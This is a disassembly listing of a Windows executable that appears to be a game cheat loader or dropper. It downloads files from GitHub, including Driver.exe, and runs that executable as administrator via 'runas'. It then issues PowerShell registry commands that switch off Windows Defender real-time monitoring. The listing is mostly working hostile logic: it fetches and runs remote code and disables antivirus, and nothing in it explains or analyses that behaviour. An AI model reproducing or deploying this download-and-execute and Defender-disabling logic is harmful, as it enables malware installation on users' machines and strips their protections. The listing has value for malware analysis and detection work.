mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x6e0]
movq qword [ebp - 0x59c], xmm0
cmp ecx, 8
jb 0x40275b
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402751
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a29
push ecx
push edx
call fcn.00405056
add esp, 8
mov byte [ebp - 4], 0x17
xor eax, eax
mov ecx, dword [ebp - 0x6f8]
mov dword [ebp - 0x6e4], eax
mov dword [ebp - 0x6e0], 7
mov word [ebp - 0x6f4], ax
cmp ecx, 8
jb 0x4027b8
mov edx, dword [ebp - 0x70c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4027ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a29
push ecx
push edx
call fcn.00405056
add esp, 8
cmp dword [ebp - 0x598], 8
lea eax, [ebp - 0x5ac]
mov ecx, esi
cmovae eax, dword [ebp - 0x5ac]
cmp dword [esi + 0x14], 8
jb 0x4027d6
mov ecx, dword [esi]
push 0
push 0
push eax
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x598]
cmp ecx, 8
jb 0x402828
mov edx, dword [ebp - 0x5ac]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40281e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a29
push ecx
push edx
call fcn.00405056
add esp, 8
add esi, 0x18
lea eax, [ebp - 0x420]
cmp esi, eax
jne 0x4023b0
push str._binconfigs
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x40285a
mov eax, dword [eax]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402871
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x4028b3
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4028a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4028a9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._binimages
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4028d4
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x4028df
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402921
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402917
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402917
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._binmodels
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402942
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x40294d
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x40298f
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402985
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402985
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push 0x51
xorps xmm0, xmm0
mov dword [ebp - 0x5e4], 0
push str.https:__github.com_ScriptingDecorder_xd_raw_main_bin_models_Dahood_20by_20ja.onnx
lea ecx, [ebp - 0x5f4]
mov dword [ebp - 0x5e0], 0
movups xmmword [ebp - 0x5f4], xmm0
call fcn.00404510
push str._binmodelsDahood_by_ja.onnx
lea edx, [ebp - 0x55c]
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x66c]
call fcn.004039d0
add esp, 4
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x66c]
cmp dword [ebp - 0x658], 8
lea eax, [ebp - 0x5f4]
push 0
cmovae ecx, dword [ebp - 0x66c]
cmp dword [ebp - 0x5e0], 8
push 0
cmovae eax, dword [ebp - 0x5f4]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push str._runtimeswin_arm
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402a37
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x402a42
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402a84
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402a7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402a7a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._runtimeswin_arm_native
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402aa5
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x402ab0
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402af2
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402ae8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402ae8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._runtimeswin_arm64
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402b13
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x402b1e
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402b60
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402b56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402b56
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._runtimeswin_arm64_native
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402b81
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x402b8c
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402bce
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402bc4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402bc4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._runtimeswin_x64
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402bef
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x402bfa
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402c3c
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402c32
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402c32
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._runtimeswin_x64_native
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402c5d
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x402c68
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402caa
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402ca0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402ca0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._runtimeswin_x86
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402ccb
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x402cd6
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402d18
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402d0e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402d0e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str._runtimeswin_x86_native
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x6f4]
call fcn.004039d0
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x402d39
mov eax, dword [eax]
push 0
push eax
call edi
test eax, eax
jne 0x402d44
call esi
mov ecx, dword [ebp - 0x6e0]
cmp ecx, 8
jb 0x402d86
mov edx, dword [ebp - 0x6f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402d7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402d7c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
mov esi, dword [ebp - 0x710]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0xa
push esi
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.____Files_downloaded_to:
call fcn.00403bf0
cmp dword [ebp - 0x548], 8
lea edx, [ebp - 0x55c]
push dword [ebp - 0x54c]
cmovae edx, dword [ebp - 0x55c]
mov ecx, eax
call fcn.00404c90
add esp, 4
mov edx, 0x4074b8
mov ecx, eax
call fcn.00403bf0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x658]
cmp ecx, 8
jb 0x402e1b
mov edx, dword [ebp - 0x66c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402e11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4030c9
push ecx
push edx
call fcn.00405056
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x5e0]
mov dword [ebp - 0x65c], 0
mov dword [ebp - 0x658], 7
mov word [ebp - 0x66c], ax
cmp ecx, 8
jb 0x402e7c
mov edx, dword [ebp - 0x5f4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402e72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4030c9
push ecx
push edx
call fcn.00405056
add esp, 8
push 0x4036e0
xor eax, eax
mov dword [ebp - 0x5e4], 0
push 0xc
mov word [ebp - 0x5f4], ax
lea eax, [ebp - 0x540]
push 0x18
push eax
mov dword [ebp - 0x5e0], 7
mov byte [ebp - 4], 8
call fcn.00404f41
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x5c8]
cmp ecx, 8
jb 0x402ef6
mov edx, dword [ebp - 0x5dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402eec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4030c9
push ecx
push edx
call fcn.00405056
add esp, 8
xor eax, eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x670]
mov dword [ebp - 0x5cc], 0
mov dword [ebp - 0x5c8], 7
mov word [ebp - 0x5dc], ax
cmp ecx, 8
jb 0x402f57
mov edx, dword [ebp - 0x684]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402f4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4030c9
push ecx
push edx
call fcn.00405056
add esp, 8
xor eax, eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x688]
mov dword [ebp - 0x674], 0
mov dword [ebp - 0x670], 7
mov word [ebp - 0x684], ax
cmp ecx, 8
jb 0x402fb8
mov edx, dword [ebp - 0x69c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402fae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4030c9
push ecx
push edx
call fcn.00405056
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x5f8]
mov dword [ebp - 0x68c], 0
mov dword [ebp - 0x688], 7
mov word [ebp - 0x69c], ax
cmp ecx, 8
jb 0x403019
mov edx, dword [ebp - 0x60c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40300f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4030c9
push ecx
push edx
call fcn.00405056
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x610]
mov dword [ebp - 0x5fc], 0
mov dword [ebp - 0x5f8], 7
mov word [ebp - 0x60c], ax
cmp ecx, 8
jb 0x403076
mov edx, dword [ebp - 0x624]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40306c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4030c9
push ecx
push edx
call fcn.00405056
add esp, 8
xor eax, eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x628]
mov dword [ebp - 0x614], 0
mov dword [ebp - 0x610], 7
mov word [ebp - 0x624], ax
cmp ecx, 8
jb 0x4030d9
mov edx, dword [ebp - 0x63c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4030cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4030cf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push str.Driver.exe
lea edx, [ebp - 0x55c]
lea ecx, [ebp - 0x594]
call fcn.004039d0
add esp, 4
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x654]
push 0x38
xorps xmm0, xmm0
mov dword [ebp - 0x644], 0
push str.https:__github.com_lunawaree_myfiles_raw_main_Driver.exe
movups xmmword [ebp - 0x654], xmm0
mov dword [ebp - 0x640], 0
call fcn.00404510
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x594]
cmp dword [ebp - 0x580], 8
cmovae eax, dword [ebp - 0x594]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403193
test al, 0x10
jne 0x403193
push 0xa
push esi
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.____File_already_exists:
call fcn.00403bf0
cmp dword [ebp - 0x580], 8
lea edx, [ebp - 0x594]
push dword [ebp - 0x584]
cmovae edx, dword [ebp - 0x594]
mov ecx, eax
call fcn.00404c90
add esp, 4
mov edx, 0x4074b8
mov ecx, eax
jmp 0x40340b
cmp dword [ebp - 0x580], 8
lea ecx, [ebp - 0x594]
push 0
cmovae ecx, dword [ebp - 0x594]
lea eax, [ebp - 0x654]
cmp dword [ebp - 0x640], 8
push 0
cmovae eax, dword [ebp - 0x654]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0xa
push esi
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.____File_downloaded_to:
call fcn.00403bf0
cmp dword [ebp - 0x580], 8
lea edx, [ebp - 0x594]
push dword [ebp - 0x584]
cmovae edx, dword [ebp - 0x594]
mov ecx, eax
call fcn.00404c90
add esp, 4
mov edx, 0x4074b8
mov ecx, eax
call fcn.00403bf0
cmp dword [ebp - 0x580], 8
lea ecx, [ebp - 0x544]
lea eax, [ebp - 0x594]
cmovae eax, dword [ebp - 0x594]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
test eax, eax
je 0x4033fb
mov eax, dword [ebp - 0x544]
test eax, eax
je 0x403256
cmp eax, 6
je 0x403256
push 0xc
push esi
call edi
mov edx, str.____Error:_The_downloaded_file_is_not_a_valid_32_bit_or_64_bit_executable._n
jmp 0x403405
cmp dword [ebp - 0x580], 8
lea eax, [ebp - 0x594]
movaps xmm0, xmmword [0x408590]
cmovae eax, dword [ebp - 0x594]
mov dword [ebp - 0x6cc], eax
lea eax, [ebp - 0x6dc]
push eax
mov dword [ebp - 0x6dc], 0x3c
mov dword [ebp - 0x6d8], 0x40
mov dword [ebp - 0x6d4], 0
mov dword [ebp - 0x6d0], str.runas
movups xmmword [ebp - 0x6c8], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x4033ef
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.____Driver.exe_is_now_running_as_administrator._n
call fcn.00403bf0
lea ecx, [ebp - 0x594]
call fcn.004012d0
push 0x68
xorps xmm0, xmm0
mov dword [ebp - 0x6fc], 0
push str.New_Item__Path__HKLM:SOFTWAREPoliciesMicrosoftWindows_Defender___Name__Real_Time_Protection___Force
lea ecx, [ebp - 0x70c]
mov dword [ebp - 0x6f8], 0
movups xmmword [ebp - 0x70c], xmm0
call fcn.00404510
lea ecx, [ebp - 0x70c]
mov byte [ebp - 4], 0x22
call fcn.00401470
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x6f8]
cmp ecx, 8
jb 0x40335b
mov edx, dword [ebp - 0x70c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403351
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403351
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push 0xa9
xorps xmm0, xmm0
mov dword [ebp - 0x6fc], 0
push str.New_ItemProperty__Path__HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___Name__DisableRealtimeMonitoring___Value_1__PropertyType__DWORD___Force
lea ecx, [ebp - 0x70c]
mov dword [ebp - 0x6f8], 0
movups xmmword [ebp - 0x70c], xmm0
call fcn.00404510
lea ecx, [ebp - 0x70c]
mov byte [ebp - 4], 0x23
call fcn.00401470
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x6f8]
cmp ecx, 8
jb 0x4033e3
mov edx, dword [ebp - 0x70c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4033d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4033d9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push 0xa
push esi
call edi
mov edx, str.____PowerShell_commands_executed_successfully_n
jmp 0x403405
push 0xc
push esi
call edi
mov edx, str.____Error:_Failed_to_run_Driver.exe_as_administrator._n
jmp 0x403405
push 0xc
push esi
call edi
mov edx, str.____Error:_Failed_to_determine_the_architecture_of_the_downloaded_file._n
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.00403bf0
mov ecx, dword [ebp - 0x640]
cmp ecx, 8
jb 0x403450
mov edx, dword [ebp - 0x654]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403446
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403551
push ecx
push edx
call fcn.00405056
add esp, 8
mov ecx, dword [ebp - 0x580]
xor eax, eax
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x640], 7
mov word [ebp - 0x654], ax
cmp ecx, 8
jb 0x4034ad
mov edx, dword [ebp - 0x594]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4034a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403551
push ecx
push edx
call fcn.00405056
add esp, 8
mov ecx, dword [ebp - 0x548]
xor eax, eax
mov dword [ebp - 0x584], 0
mov dword [ebp - 0x580], 7
mov word [ebp - 0x594], ax
cmp ecx, 8
jb 0x403506
mov edx, dword [ebp - 0x55c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4034fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403551
push ecx
push edx
call fcn.00405056
add esp, 8
xor eax, eax
mov dword [ebp - 0x54c], 0
mov word [ebp - 0x55c], ax
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x548], 7
cmp eax, 0x10
jb 0x403561
mov edx, dword [ebp - 0x5c4]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x403557
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403557
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405056
add esp, 8
push 0xf
push esi
call edi
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404f03
mov esp, ebp
pop ebp
ret
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____Error:_Invalid_product_key._n
call fcn.00403e20
mov esi, 5
mov dword [ebp - 0x544], 1
nop dword [eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
mov edx, 0x4073b4
mov ecx, eax
call fcn.00403e20
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x564]
call fcn.00404040
mov ecx, eax
call fcn.00404060
dec esi
test esi, esi
jg 0x4035c0
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.004038c0
int3